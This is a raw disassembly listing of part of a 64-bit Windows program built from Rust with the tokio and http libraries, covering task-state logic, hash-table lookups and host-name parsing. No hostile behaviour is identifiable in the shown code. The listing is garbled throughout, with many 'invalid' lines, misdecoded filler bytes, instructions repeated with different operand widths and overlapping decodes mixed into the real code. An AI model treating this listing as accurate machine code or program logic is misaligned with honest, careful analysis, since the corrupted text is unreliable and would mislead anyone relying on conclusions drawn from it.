mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
or byte [rbx + 0x1111b905], cl
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov rax, qword [rdx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400711b2
xorps xmm6, xmm6
test eax, eax
jne 0x1400711de
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
add byte [rbx + rcx*4 + 0x34], cl
ret 0x8d49
xchg al, dl
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x73134
mov rbx, rcx
mov rcx, rax
call fcn.1400d4a00
mov rcx, rbx
mov byte [r14 + 0x120], 1
add byte [rbx + rcx*4 + 0x34], cl
ret 0x8d49
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc2
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc2
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rdi, [rcx + 0x10]
mov edx, dword [rcx + 0x18]
mov r8d, edx
and r8d, 0xfffffffe
add edx, 0xc4653601
xor eax, eax
cmp r8d, 0x3b9aca00
cmove eax, edx
cmp eax, 1
je 0x140071211
test eax, eax
jne 0x14007124f
mov rcx, rdi
call fcn.14006fde0
jmp 0x14007124f
cmp qword [rcx + 0x20], 0
je 0x14007124f
mov rbx, qword [rcx + 0x28]
test rbx, rbx
je 0x14007124f
mov r14, qword [rcx + 0x30]
mov rcx, rbx
call qword [r14]
cmp qword [r14 + 8], 0
je 0x14007124f
cmp qword [r14 + 0x10], 0x11
jb 0x14007123d
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmm2, xmmword [rsi + 0x20]
movups xmmword [rdi + 0x20], xmm2
movups xmmword [rdi + 0x10], xmm1
movups xmmword [rdi], xmm0
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400712b5
test eax, eax
jne 0x1400712cf
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rsi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
ret
test bl, dh
add byte [rax], al
add byte [rax - 0x75], cl
js 0x14007133f
call qword [rax + 0x10]
push rax
adc byte [rax - 0x75], cl
and byte [rax - 0x77], r9b
bnd call fcn.1400ec470
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ec470
cmp rax, 1
mov eax, 2
clc
add dword [rax + 2], edi
sbb rax, 0
mov qword [rsp + 0x20], rax
shl eax, 6
neg rax
neg eax
neg eax
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x20]
jb 0x1400713c2
jne 0x140071388
mov rcx, rsi
add rsp, 0x80
pop rsi
jmp 0x140071080
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x60], rax
lea rax, [fcn.140012f00]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
lea rax, str.current:___sub:
retf 0xd
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 2
mov qword [rsp + 0x48], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 2
lea rdx, [0x14014ded0]
lea rcx, [rsp + 0x28]
sub al, ch
push rdx
outsb dx, byte [rsi]
or dword [rax], eax
retf 0xd
sub al, ch
push rdx
outsb dx, byte [rsi]
or dword [rax], eax
lea rax, str.waker_missing
mov qword [rsp + 0x28], rax
and al, 0x28
and al, 0x28
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 8
or byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
invalid
or eax, 0x4c8d4800
and al, 0x28
call fcn.140108280
int3
invalid
mov eax, dword [rcx]
jmp 0x1400714aa
mov rcx, rax
and rcx, 0xfffffffffffffff8
or rcx, 1
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
je case.0x140051867.97
test al, 4
je 0x14007171d
test byte [rbx + 2], ch
add byte [rax], al
test byte [rbx + 2], ch
add byte [rax], al
test al, 3
je 0x140071490
cmp rax, 0x3f
jbe 0x140071735
lea rcx, [rax - 0x40]
lea ecx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x1400714aa
movzx eax, dl
lea rcx, [0x140177abc]
adc byte [rax], al
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rax, [0x14014e140]
mov qword [rsp + 0x60], rax
and al, 0x60
push rcx
int3
or eax, 0x44894800
and al, 0x60
and al, 0x60
mov qword [rsp + 0x68], rsi
and al, 0x68
lea rax, [rsp + 0x60]
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x70], eax
mov dword [rsp + 0x70], eax
and al, 0x70
mov qword [rsp + 0x78], rax
and al, 0x78
mov qword [rsp + 0x80], 0
mov eax, dword [rsi + 0x38]
cmp byte [rbx + 0x3dfee0], r8b
retf 0x3b9a
and al, 0x80
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbx - 0x1f7cc7ba], cl
invalid
cmp byte [rbx + 0x3dfee0], r8b
retf 0x3b9a
je 0x14007174d
lea rcx, [rsi + 0x30]
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov edx, dword [0x58]
mov edx, dword [0x58]
mov rax, qword [rdx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14007158a
xorps xmm6, xmm6
test eax, eax
jne 0x1400715b6
push rdi
test byte [rbp - 0x749c8a40], 5
add eax, 0x110dbb
mov rdx, qword gs:[0x58]
mov eax, dword [0x140182314]
add eax, 0x110dbb
mov rdx, qword gs:[0x58]
add byte [rax], al
mov r14, qword [rdx + rax*8]
lea rax, [r14 + 0xd0]
lea rdx, [0x1400e42d0]
pop rsp
invalid
invalid
invalid
ret 0x8d49
pop rsp
sub eax, 0x89480007
add byte [rax - 0x77], cl
add byte [rax - 0x77], cl
mov rbx, rcx
mov ebx, ecx
retf
mov rcx, rax
call fcn.1400d4a00
invalid
invalid
invalid
mov rcx, rbx
mov byte [r14 + 0x120], 1
xchg byte [rax], ah
add dword [rax], eax
add byte [rcx], al
xchg byte [rax], ah
add dword [rax], eax
and byte [rcx], al
add byte [rax], al
add byte [rcx], al
mov eax, dword [0x140182314]
invalid
invalid
add byte [rcx], al
mov eax, dword [0x140182314]
add eax, 0x110d84
or eax, 0x48650011
mov rdx, qword gs:[0x58]
mov edx, dword [0x58]
pop rax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc2
invalid
mov rax, qword [rdx + rax*8]
ret 0x100f
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov dword [rax + 0xf0], 1
mov dword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
add byte [rax - 0x73], cl
push rsp
and al, 0x70
lea rdx, [rsp + 0x70]
call fcn.14006fee0
mov ecx, dword [0x140182314]
or eax, 0x48650011
mov edx, dword [0x58]
or eax, 0x48650011
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov rcx, qword [rdx + rcx*8]
or al, 0xca
movzx ecx, byte [rcx + 0x120]
cmp ecx, 1
je 0x140071614
mov dword [rax], esp
add dword [rax], eax
add byte [rbx + 0x357401f9], al
test ecx, ecx
jne 0x14007162e
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
add byte [rax], al
invalid
sub ecx, dword [0x1886c15fc]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
add byte [rax], al
add byte [rax - 0x75], cl
mov edi, dword [rdx + rcx*8]
mov rdi, qword [rdx + rcx*8]
mov edi, dword [rdx + rcx*8]
retf 0x8d48
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e42d0]
adc eax, 0x72ccc
invalid
adc eax, 0x72ccc
int3
mov ebx, eax
call fcn.1400d4a00
mov eax, ebx
mov byte [rdi + 0x120], 1
add dword [rax], eax
add byte [rcx], al
add dword [rax], eax
add byte [rcx], al
mov ecx, dword [0x140182314]
or eax, 0x110cfa
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
or al, 0xca
movups xmmword [rcx + 0xf0], xmm6
lea rdi, [rsi + 0x20]
lea edi, [rsi + 0x20]
test al, al
je 0x1400716c5
add byte [rax], al
test byte [rbx + 0x48000000], cl
mov ecx, esi
add byte [rax], al
mov rcx, rsi
call fcn.1400e6d10
movzx eax, al
lea rcx, [0x140177acc]
and byte [rax + rdx], 0x48
invalid
add al, 0x81
add rax, rcx
jmp rax
and byte [rax + rdx], 0x48
invalid
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400eabe0
and byte [rax - 0x77], cl
bnd call fcn.1400eabe0
mov rax, 0xffffffffffffffc0
rol al, 0xff
invalid
invalid
lock xadd qword [rsi], rax
cmp rax, 0x3f
clc
invalid
jbe 0x140071785
clc
invalid
invalid
add byte [rax], al
and rax, 0xffffffffffffffc0
and eax, 0xffffffc0
cmp rax, 0x40
jne case.0x140071653.0
mov rcx, rsi
call fcn.140071990
jmp case.0x140071653.0
lea rdi, [rsi + 0x20]
mov dword [rsp + 0x38], 0x3b9aca01
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140071140
retf 0x3b9a
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x58], rax
jmp 0x1400716eb
mov dword [rsp + 0x38], 0x3b9aca01
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140071140
invalid
dec dword [rdi]
push rdi
ror byte [rdi], 0x11
and al, 0x40
mov qword [rsp + 0x50], 0
add byte [rax], al
invalid
invalid
add byte [rax], al
add bh, al
and al, 0x38
add dl, cl
invalid
mov dword [rsp + 0x38], 0x3b9aca00
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140071140
mov rcx, rsi
call fcn.140071a50
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_next.is_notified__C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014ddc8]
mov edx, 0x24
call fcn.140108350
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014e128]
mov edx, 0x26
call fcn.140108350
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x30]
call fcn.140108280
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014e060]
mov edx, 0x27
call fcn.140108350
int3
movdqu xmm2, xmmword [rcx + r8]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
pmovmskb r9d, xmm3
test r9d, r9d
je 0x1400727d0
mov rax, qword [rsp + 0x28]
movzx r10d, byte [rax]
mov qword [rsp + 0x70], rdx
jmp 0x14007267f
test bpl, bpl
je 0x14007293b
lea r9d, [r11 - 1]
and r9d, r11d
test r9w, r9w
mov rdx, qword [rsp + 0x70]
je 0x1400727d0
mov r11d, r9d
tzcnt ebx, r11d
add rbx, r8
and rbx, qword [rsp + 0x38]
mov r9, rbx
neg r9
lea r9, [r9 + r9*2]
shl r9, 4
lea r14, [rcx + r9]
add r9, rcx
add r9, 0xffffffffffffffd0
cmp r10d, 1
je 0x140072730
invalid
add byte [rcx - 0x7d], al
cli
add cl, byte [rdi]
test dword [rdi + 2], edi
add byte [rax], al
cmp r10d, 2
jne 0x14007293b
movzx ebp, byte [r9]
cmp bpl, 2
jne 0x140072660
mov rax, qword [rsp + 0x28]
mov r12, qword [rax + 8]
mov r15, qword [r12 + 0x10]
mov r13, qword [r14 - 0x28]
cmp r15, qword [r13 + 0x10]
jne 0x140072669
mov r12, qword [r12 + 8]
mov r13, qword [r13 + 8]
xor ebp, ebp
nop dword [rax]
cmp r15, rbp
je 0x140072761
movzx eax, byte [r12 + rbp]
movzx edi, byte [r13 + rbp]
inc rbp
lea esi, [rax - 0x41]
cmp sil, 0x1a
setb sil
shl sil, 5
lea edx, [rdi - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or sil, al
or dl, dil
cmp sil, dl
je 0x1400726f0
jmp 0x140072669
movzx ebp, byte [r9]
cmp bpl, 1
jne 0x140072660
mov rax, qword [rsp + 0x28]
cmp byte [rax + 1], 0
movzx ebp, byte [r14 - 0x2f]
je 0x140072758
test bpl, bpl
jne 0x140072761
jmp 0x140072669
test bpl, bpl
jne 0x140072669
mov rax, qword [rsp + 0x28]
mov r15, qword [rax + 0x20]
cmp r15, qword [r14 - 0x10]
jne 0x140072669
mov rax, qword [rsp + 0x28]
mov r12, qword [rax + 0x18]
mov r14, qword [r14 - 0x18]
xor r13d, r13d
nop word cs:[rax + rax]
cmp r15, r13
je 0x1400727f7
movzx eax, byte [r12 + r13]
movzx edx, byte [r14 + r13]
inc r13
lea esi, [rax - 0x41]
cmp sil, 0x1a
setb sil
shl sil, 5
lea edi, [rdx - 0x41]
cmp dil, 0x1a
setb dil
shl dil, 5
or sil, al
or dil, dl
cmp sil, dil
je 0x140072790
jmp 0x140072669
pcmpeqb xmm2, xmm1
pmovmskb r9d, xmm2
test r9d, r9d
jne 0x1400728f6
add r8, rdx
add r8, 0x10
add rdx, 0x10
and r8, qword [rsp + 0x38]
jmp 0x140072629
shl rbx, 4
lea rdx, [rbx + rbx*2]
sar rdx, 4
movabs rax, 0xaaaaaaaaaaaaaaab
imul rax, rdx
lea r8, [rax - 0x10]
and r8, qword [rsp + 0x38]
movdqu xmm0, xmmword [rcx + r8]
pcmpeqd xmm1, xmm1
jbe 0x1400727ed
jbe 0x1400727ed
pcmpeqb xmm0, xmm1
psllw xmm0, 7
pmovmskb r10d, xmm0
movdqu xmm0, xmmword [rcx + rax]
pcmpeqb xmm0, xmm1
pmovmskb edx, xmm0
test r10d, r10d
je 0x14007284f
bsr r10w, r10w
xor r10d, 0xf
jmp 0x140072854
mov r10w, 0x10
or edx, 0x10000
add dword [rax], eax
tzcnt edx, edx
add r10d, edx
mov dl, 0x80
cmp r10w, 0xf
ja 0x140072875
mov rdx, qword [rsp + 0x30]
inc qword [rdx + 0x20]
mov dl, 0xff
mov byte [rcx + rax], dl
mov byte [rcx + r8 + 0x10], dl
mov rax, qword [rsp + 0x30]
dec qword [rax + 0x28]
movdqu xmm0, xmmword [r9]
movdqu xmm1, xmmword [r9 + 0x10]
movdqu xmm2, xmmword [r9 + 0x20]
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x60], xmm2
movdqa xmmword [rsp + 0x50], xmm1
movzx eax, byte [rsp + 0x40]
cmp al, 3
je 0x1400728f6
cmp al, 2
jb 0x1400728df
mov rbx, qword [rsp + 0x48]
lea rcx, [rbx + 0x18]
mov rax, qword [rbx]
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x68]
mov rax, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x60]
call qword [rax + 0x10]
mov rdx, qword [rsp + 0x30]
add rdx, 0x70
lea rcx, [rsp + 0x40]
mov r8, qword [rsp + 0x28]
call fcn.14006e200
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x40], rax
je 0x140072929
lea rcx, [rsp + 0x40]
call fcn.140066980
nop
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.internal_error:_entered_unreachable_code_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_std_src_threadmod.rs
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcuri_scheme.rs
mov edx, 0x28
call fcn.140108350
int3
call fcn.140064840
mov rdx, qword [rsp + 0x40]
mov edx, dword [rsp + 0x40]
mov qword [rdx], 3
mov qword [rdx + 8], rsi
mov byte [rdx + 0x78], bl
mov eax, 3
lea r8, [rax - 3]
lea rcx, [rax - 2]
cmp r8, 2
mov r8d, 0
cmovae rcx, r8
test rcx, rcx
jne 0x1400748f9
cmp rax, 2
je 0x140078844
mov rax, qword [rsp + 0x60]
mov rbx, qword [rax]
cmp rbx, 4
jne 0x140072ac8
jmp 0x140078844
mov rax, qword [rsp + 0x60]
mov rbx, qword [rax]
lea rcx, [rbx - 1]
cmp rbx, 2
mov eax, 0
cmovae rax, rcx
test rax, rax
jne 0x140074230
mov rcx, qword [rsp + 0x88]
mov rax, qword [rcx + 0x70]
mov qword [rsp + 0x11c0], rax
movups xmm0, xmmword [rcx + 0x60]
invalid
movaps xmmword [rsp + 0x11b0], xmm0
movups xmm0, xmmword [rcx + 0x50]
movaps xmmword [rsp + 0x11a0], xmm0
movups xmm0, xmmword [rcx + 0x40]
movaps xmmword [rsp + 0x1190], xmm0
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movups xmm3, xmmword [rcx + 0x30]
movaps xmmword [rsp + 0x1180], xmm3
movaps xmmword [rsp + 0x1170], xmm2
movaps xmmword [rsp + 0x1160], xmm1
movaps xmmword [rsp + 0x1150], xmm0
mov rcx, qword [rsp + 0x90]
mov rax, qword [rcx + 0x50]
lea rsi, [rsp + 0x11c8]
mov qword [rsi + 0x50], rax
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rsi + 0x40], xmm0
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movups xmm3, xmmword [rcx + 0x30]
movups xmmword [rsi + 0x30], xmm3
movups xmmword [rsi + 0x20], xmm2
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov r8d, 0xd0
lea rcx, [rsp + 0x3090]
lea rdx, [rsp + 0x1150]
call fcn.140106250
mov rax, qword [rsp + 0x60]
mov qword [rax], 3
cmp rbx, 1
ja 0x140078733
invalid
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x1150], rbx
mov rax, qword [rsp + 0x3100]
mov qword [rsi], rax
movups xmm0, xmmword [rsp + 0x30f0]
movups xmmword [rsi - 0x10], xmm0
movups xmm0, xmmword [rsp + 0x30e0]
movups xmmword [rsi - 0x20], xmm0
movups xmm0, xmmword [rsp + 0x30d0]
movups xmmword [rsi - 0x30], xmm0
movups xmm0, xmmword [rsp + 0x3090]
movups xmm1, xmmword [rsp + 0x30a0]
movups xmm2, xmmword [rsp + 0x30b0]
movups xmm3, xmmword [rsp + 0x30c0]
movups xmmword [rsi - 0x40], xmm3
movups xmmword [rsi - 0x50], xmm2
movups xmmword [rsi - 0x60], xmm1
movups xmmword [rsi - 0x70], xmm0
lea rax, [rsp + 0x3108]
movups xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x240], xmm0
movdqa xmmword [rsp + 0x250], xmm1
movaps xmmword [rsp + 0x260], xmm2
movaps xmmword [rsp + 0x270], xmm3
movdqu xmm0, xmmword [rax + 0x40]
movdqa xmmword [rsp + 0x280], xmm0
add byte [rax - 0x75], cl
push rax
add byte [rax - 0x75], cl
push rax
mov qword [rsp + 0x290], rax
mov rax, qword [rsp + 0x1188]
mov qword [rsp + 0x70], rax
mov eax, dword [rsp + 0x1190]
mov dword [rsp + 0x50], eax
mov rcx, qword [rsp + 0x11c0]
mov rax, qword [rcx + 0x20]
test rax, rax
je 0x140073a10
insb byte [rdi], dx
invalid
add byte [rax], al
insb byte [rdi], dx
or eax, 0x89480000
and al, 0x68
mov qword [rsp + 0x68], rcx
mov r13, qword [rcx + 0x18]
mov rcx, rax
shl rcx, 7
lea rax, [rcx + rax*8]
add rax, r13
mov qword [rsp + 0x48], rax
jmp 0x140072cfe
cmp byte [rsp + 0x241], 0
lea rax, [0x140172313]
add eax, 0xff642
je 0x1400733db
nop word [rax + rax]
mov qword [rsp + 0x740], 2
add r13, 0x88
cmp r13, qword [rsp + 0x48]
je 0x140073a10
lea rcx, [r13 + 0x58]
xor eax, eax
mov r12d, 0
cmp qword [r13 + 0x58], r14
cmovne r12, rcx
jne case.default.0x140072d1f
mov rcx, qword [r13]
movsxd rcx, dword [r15 + rcx*4]
add rcx, r15
jmp rcx
mov rdx, qword [rsp + 0x260]
test rdx, rdx
je 0x140076d67
mov rcx, qword [rsp + 0x258]
call fcn.140032de0
test rax, rax
je 0x140076d67
mov rsi, rax
mov rbx, rdx
test rdx, rdx
je 0x140072e5c
cmp byte [rsi], 0x5b
jne 0x140072e63
add rbx, rsi
mov r9b, 0x5b
xor eax, eax
mov r8, rsi
test r9b, r9b
jns 0x140072e20
jmp 0x140072da3
movzx r9d, byte [rcx]
mov rax, rdx
mov r8, rcx
test r9b, r9b
jns 0x140072e20
mov ecx, r9d
and cl, 0x1f
movzx edx, cl
movzx r11d, byte [r8 + 1]
and r11d, 0x3f
cmp r9b, 0xdf
jbe 0x140072e00
movzx r10d, byte [r8 + 2]
shl r11d, 6
and r10d, 0x3f
or r10d, r11d
cmp r9b, 0xf0
jb 0x140072e10
lea rcx, [r8 + 4]
movzx r9d, byte [r8 + 3]
and edx, 7
shl edx, 0x12
shl r10d, 6
and r9d, 0x3f
or r9d, r10d
or r9d, edx
cmp r9d, 0x110000
jne 0x140072e28
jmp 0x1400739f5
lea rcx, [r8 + 2]
shl edx, 6
or edx, r11d
mov r9d, edx
jmp 0x140072e28
lea rcx, [r8 + 3]
shl edx, 0xc
or r10d, edx
mov r9d, r10d
jmp 0x140072e28
lea rcx, [r8 + 1]
movzx r9d, r9b
mov rdx, rcx
sub rdx, r8
add rdx, rax
cmp r9d, 0x5b
je 0x140072e41
cmp r9d, 0x5d
jne 0x140073259
cmp rcx, rbx
jne 0x140072d90
xor eax, eax
xor edx, edx
mov rbp, r13
sub rdx, rax
add rsi, rax
mov rbx, rdx
jmp 0x140072e66
mov rbp, r13
xor ebx, ebx
jmp 0x140072e66
mov rbp, r13
mov qword [rsp + 0x150], rsi
mov qword [rsp + 0x158], rbx
mov rcx, rdi
call fcn.140015a40
mov r13, rax
test r13b, 1
jne 0x140072f00
movdqa xmmword [rsp + 0xc00], xmm7
mov r8d, 8
mov rcx, rdi
lea rdx, [rsp + 0xc00]
call fcn.140015f90
cmp rax, 8
jne 0x140072fc6
movdqa xmm0, xmmword [rsp + 0xc00]
movdqa xmm1, xmm0
punpckhbw xmm1, xmm7
pshuflw xmm1, xmm1, 0xb1
pshufhw xmm1, xmm1, 0xb1
punpcklbw xmm0, xmm7
pshuflw xmm0, xmm0, 0xb1
pshufhw xmm0, xmm0, 0xb1
packuswb xmm0, xmm1
cmp qword [rsp + 0x158], 0
jne 0x140073090
pshufd xmm8, xmm0, 0xf9
movd eax, xmm0
mov bl, 1
jmp 0x140072f18
cmp qword [rsp + 0x158], 0
jne 0x140073090
mov rax, r13
shr rax, 8
xor ebx, ebx
mov byte [rsp + 0xc00], bl
mov dword [rsp + 0xc01], eax
movq qword [rsp + 0xc05], xmm8
pshufd xmm0, xmm8, 0xee
movd dword [rsp + 0xc0d], xmm0
mov rax, qword [r12 + 0x10]
test rax, rax
je 0x140073157
mov rsi, qword [r12 + 8]
mov rdi, qword [rsp + 0xc01]
test r13b, 1
jne 0x14007330d
mov r14, qword [rsp + 0xc09]
add rax, rax
lea r15, [rax + rax*8]
mov r13, rbp
jmp 0x140072fa2
mov rcx, rsi
lea rdx, [rsp + 0xc00]
call fcn.140044c70
test al, al
jne 0x140072fbf
add rsi, 0x12
add r15, 0xffffffffffffffee
je 0x14007337c
cmp byte [rsi], 2
jne 0x140072f80
cmp bl, byte [rsi + 1]
jne 0x140072f94
mov rax, qword [rsi + 2]
xor rax, rdi
mov rcx, qword [rsi + 0xa]
xor rcx, r14
or rcx, rax
jne 0x140072f94
mov al, 1
jmp 0x14007337e
test dl, 1
jne 0x140073090
invalid
add byte [rax - 0x75], cl
mov word [rax + rbx*2], fs
add dword [rax], eax
add byte [rax - 0x7b], cl
leave
mov rcx, qword [rsp + 0x158]
test rcx, rcx
je 0x140073090
mov rdx, qword [rsp + 0x150]
cmp byte [rdx], 0x3a
jne 0x140073090
xchg esp, eax
and al, 0x50
add dword [rax], eax
add byte [rax - 0x7af0c5c6], al
lahf
add byte [rax], al
add byte [rax - 0x7d], cl
stc
add dword [rdi], ecx
test byte [rbp + 0x48000000], dl
add ecx, 0xfffffffe
cmp rcx, 1
je 0x140073090
add rcx, 0xfffffffffffffffe
movzx r8d, byte [rdx + 1]
add rdx, 2
mov qword [rsp + 0x150], rdx
mov qword [rsp + 0x158], rcx
cmp r8b, 0x3a
jne 0x140073090
mov qword [rsp + 0x446], 0
mov qword [rsp + 0x440], 0
mov r8d, 7
sub r8, rax
jb 0x14007881c
push rdi
add byte [rax], al
push rdi
add byte [rax], al
mov rcx, rdi
lea rdx, [rsp + 0x440]
call fcn.140015f90
mov ecx, 8
sub rcx, rax
jb 0x140078833
cmp rax, 8
je 0x140078806
lea rcx, [rsp + rcx*2]
add rcx, 0xc00
add rax, rax
lea rdx, [rsp + 0x440]
mov r8, rax
call fcn.140106250
jmp 0x140072eb0
mov rax, qword [r12 + 0x28]
and al, 0x28
test rax, rax
je 0x140073157
mov r15, qword [r12 + 0x20]
shl rax, 3
and byte [rax - 0x3f], cl
loopne 0x1400730aa
lea r14, [rax + rax*2]
xor edi, edi
xor edi, edi
jmp case.default.0x140073184
add rdi, 0x18
cmp r14, rdi
je 0x14007315b
invalid
mov r12, qword [r15 + rdi + 8]
mov r13, qword [r15 + rdi + 0x10]
cmp rbx, r13
jne 0x1400730de
mov rcx, r12
mov rdx, rsi
mov r8, rbx
call fcn.1401068d0
test eax, eax
je 0x140073153
test r13, r13
je 0x140073107
lea rax, [r13 - 1]
cmp rax, rbx
jne 0x140073107
cmp byte [r12], 0x2e
jne 0x140073107
invalid
adc al, 0x49
lea ecx, [rsp + 1]
lea rcx, [r12 + 1]
mov rdx, rsi
mov r8, rbx
call fcn.1401068d0
test eax, eax
je 0x140073153
mov rdx, rbx
sub rdx, r13
jb 0x140073121
add rdx, rsi
mov rcx, r12
mov r8, r13
call fcn.1401068d0
test eax, eax
je 0x140073130
cmp r13, 1
jne 0x1400730b0
cmp byte [r12], 0x2a
jne 0x1400730b0
jmp 0x140073153
test r13, r13
in eax, dx
je 0x14007313c
cmp byte [r12], 0x2e
je 0x140073153
not r13
add r13, rbx
jae 0x1400730b0
cmp byte [rsi + r13], 0x2e
jne 0x1400730b0
mov al, 1
jmp 0x14007315d
xor eax, eax
jmp 0x140073176
xor eax, eax
movabs r14, 0x8000000000000000
lea r15, [0x140177af0]
add byte [rax], al
add byte [rax], al
or byte [rbp + rcx*4 + 0x3d], 0x82
adc byte [r8], al
lea rdi, [rsp + 0x150]
mov r13, rbp
mov rcx, qword [r13]
movsxd rcx, dword [r15 + rcx*4]
add rcx, r15
jmp rcx
test al, al
jne 0x140072ce0
cmp qword [r13 + 8], 0
je 0x1400731f7
mov bl, 2
cmp byte [r13 + 0x50], 2
je 0x1400731b8
lea rdx, [r13 + 0x48]
mov rax, qword [r13 + 0x30]
mov r8, qword [r13 + 0x38]
mov r9, qword [r13 + 0x40]
mov rcx, rdi
call qword [rax]
movzx ebx, byte [r13 + 0x50]
lea rdx, [r13 + 0x28]
mov rax, qword [r13 + 0x10]
mov r8, qword [r13 + 0x18]
mov r9, qword [r13 + 0x20]
lea rcx, [rsp + 0xc08]
call qword [rax]
movups xmm0, xmmword [rsp + 0x150]
add byte [rax], al
add byte [rax], al
movups xmm1, xmmword [rsp + 0x160]
lea rax, [rsp + 0xc08]
movups xmmword [rax + 0x30], xmm1
xor byte [rdi], cl
adc dword [rax + 0x20], eax
xor byte [rdi], cl
adc dword [rax + 0x20], eax
jmp 0x140073867
mov bl, 2
cmp byte [r13 + 0x50], 2
je 0x14007321a
lea rdx, [r13 + 0x48]
mov rax, qword [r13 + 0x30]
mov r8, qword [r13 + 0x38]
mov r9, qword [r13 + 0x40]
mov rcx, rdi
call qword [rax]
